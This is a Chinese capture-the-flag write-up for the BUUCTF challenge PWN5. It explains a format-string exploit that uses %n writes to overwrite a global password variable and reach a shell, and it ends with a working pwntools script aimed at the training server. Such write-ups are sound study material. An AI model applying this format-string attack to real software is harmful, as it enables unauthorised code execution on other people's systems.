buuctf.pwn.[第五空间2019 决赛]PWN5 1

发布时间 2023-03-29 00:52:31作者: redqx

题目类型:格式化字符串漏洞

首先检测checksec (重要的事情说三遍)

发现了 Stack: Canary found

所以我们没办法栈溢出了

题目的关键是

if ( atoi(ebp_80) == dword_804C044 )          // 如果passwd是某个随机数
{
    puts("ok!!");
    system("/bin/sh");
}
else
{
    puts("fail");
}

因为没有栈溢出,然后这个题目的其中一个突破口就是格式化字符串漏洞,通过printf实现

printf("%s%n", "happy", &ptr); //happy占用4字节的字符串,于%n让是ptr=4
printf("%x%16$n",0x1234);//0x1234也占用4字节,于是距离栈顶16字节的地方,读取里面的地址x ,然后*x=4

于是,我们可以输入全局变量的地址

让全局变量的地址存在于栈中

然后通过类似于%x%16$n的格式化字符串修改全局变量

比如一下字符串

输入b'44C00408'+ "%10$n"

如果在printf输出的时候,44C00408刚好位于栈顶往下10字节的地方

那么我们的 byte ptr [44C00408]=4 (4字节长度)

所以我们需要精心构造"%10$n"类似于的数据

当我们用IDA调试printf(我们的输入)

运行到输入

然后去观察栈的情况

发现当pritnf输入的时候,栈顶距离我们的输入的数据相差10字节

如果我们要对全局变量修改的话,可以考虑修改4个字节(等价于全部修改)

于是

然后我们可以通过格式化字符串%n的漏洞去修改该全局遍历的值

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) #4个地址分别指向了我们全局变量int(4字节)的每个字节
payload+='%10$n%11$n%12$n%13$n'

连在一起就是

16进制字节流b'44C0040845C0040846C0040847C00408' #16(0x10) 
格式化字符串:%10$n%11$n%12$n%13$n 
通过%xx$n 前面字节流的长度0x10分别写入到 
byte ptr [esp+10 + 0] = byte ptr [esp+10] =0x10
byte ptr [esp+10 + 1] = byte ptr [esp+11] =0x10
byte ptr [esp+10 + 2] = byte ptr [esp+12] =0x10
byte ptr [esp+10 + 3] = byte ptr [esp+13] =0x10

于是我们的全局变量就被修改为了0x10101010

于是我们输入的数据就是0x10101010据可以让那个等号恒成立,于是等式成立

获取shell

所以最后的exp

from pwn import *
p=remote('node4.buuoj.cn',28806)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'
p.send(payload)
p.send(str(0x10101010)) #因为是atoi(passwd),所以我们输入的是字符串
p.interactive()